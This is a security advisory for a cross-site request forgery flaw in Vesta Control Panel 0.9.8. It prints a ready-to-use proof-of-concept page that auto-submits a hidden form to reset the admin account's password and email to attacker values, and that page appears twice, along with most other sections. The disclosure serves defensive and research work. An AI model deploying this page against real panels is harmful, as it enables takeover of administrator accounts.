Vesta Control Panel Cross Site Request Forgery Vulnerability
BID:74830
Info
Vesta Control Panel Cross Site Request Forgery Vulnerability
| Bugtraq ID: | 74830 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 25 2015 12:00AM |
| Updated: | May 25 2015 12:00AM |
| Credit: | Ben khlifa Fahmi |
| Vulnerable: |
Vesta Vesta Control Panel 0.9.8 |
| Not Vulnerable: | |
Discussion
Vesta Control Panel Cross Site Request Forgery Vulnerability
Vesta Control Panel is prone to a cross-site request-forgery vulnerability because the application fails to properly validate HTTP requests.
An attacker can exploit this issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.
Vesta Control Panel is prone to a cross-site request-forgery vulnerability because the application fails to properly validate HTTP requests.
An attacker can exploit this issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.
Exploit / POC
Vesta Control Panel Cross Site Request Forgery Vulnerability
To exploit this issue an attacker must entice an unsuspecting victim to open a malicious URI.
The following exploit code is available:
<html>
<head><title>Victim will redirect auto</title></head>
<body onload="document.forms[0].submit()">
<form>
<form id="vstobjects" method="post" name="v_edit_user" action="https://www.example.com/edit/user/?user=admin">
<input type="hidden" name="v_user" value="admin" >
<input type="hidden" name="v_username" value="admin">
<input type="hidden" name="v_password" value="[hacker pass]">
<input type="hidden" name="v_email" value="[hacker mail]">
<input type="hidden" name="v_package" value="default" />
<input type="hidden" name="v_language" value="ar" />
<input type="hidden" name="v_fname" value="System">
<input type="hidden" name="v_lname" value="Administrator">
<input type="hidden" name="v_shell" value="bash" />
<input type="hidden" value="ns1.localhost.ltd">
<input type="hidden" value="ns2.localhost.ltd">
<input type="hidden" name="v_ns3">
<input type="hidden" name="v_ns4">
<input type="submit" class="button" name="save" value="Save">
</form>
</body>
</html>
To exploit this issue an attacker must entice an unsuspecting victim to open a malicious URI.
The following exploit code is available:
<html>
<head><title>Victim will redirect auto</title></head>
<body onload="document.forms[0].submit()">
<form>
<form id="vstobjects" method="post" name="v_edit_user" action="https://www.example.com/edit/user/?user=admin">
<input type="hidden" name="v_user" value="admin" >
<input type="hidden" name="v_username" value="admin">
<input type="hidden" name="v_password" value="[hacker pass]">
<input type="hidden" name="v_email" value="[hacker mail]">
<input type="hidden" name="v_package" value="default" />
<input type="hidden" name="v_language" value="ar" />
<input type="hidden" name="v_fname" value="System">
<input type="hidden" name="v_lname" value="Administrator">
<input type="hidden" name="v_shell" value="bash" />
<input type="hidden" value="ns1.localhost.ltd">
<input type="hidden" value="ns2.localhost.ltd">
<input type="hidden" name="v_ns3">
<input type="hidden" name="v_ns4">
<input type="submit" class="button" name="save" value="Save">
</form>
</body>
</html>
Solution / Fix
Vesta Control Panel Cross Site Request Forgery Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Vesta Control Panel Cross Site Request Forgery Vulnerability
References:
References:
- Vesta Control Panel Homepage (Ben khlifa Fahmi)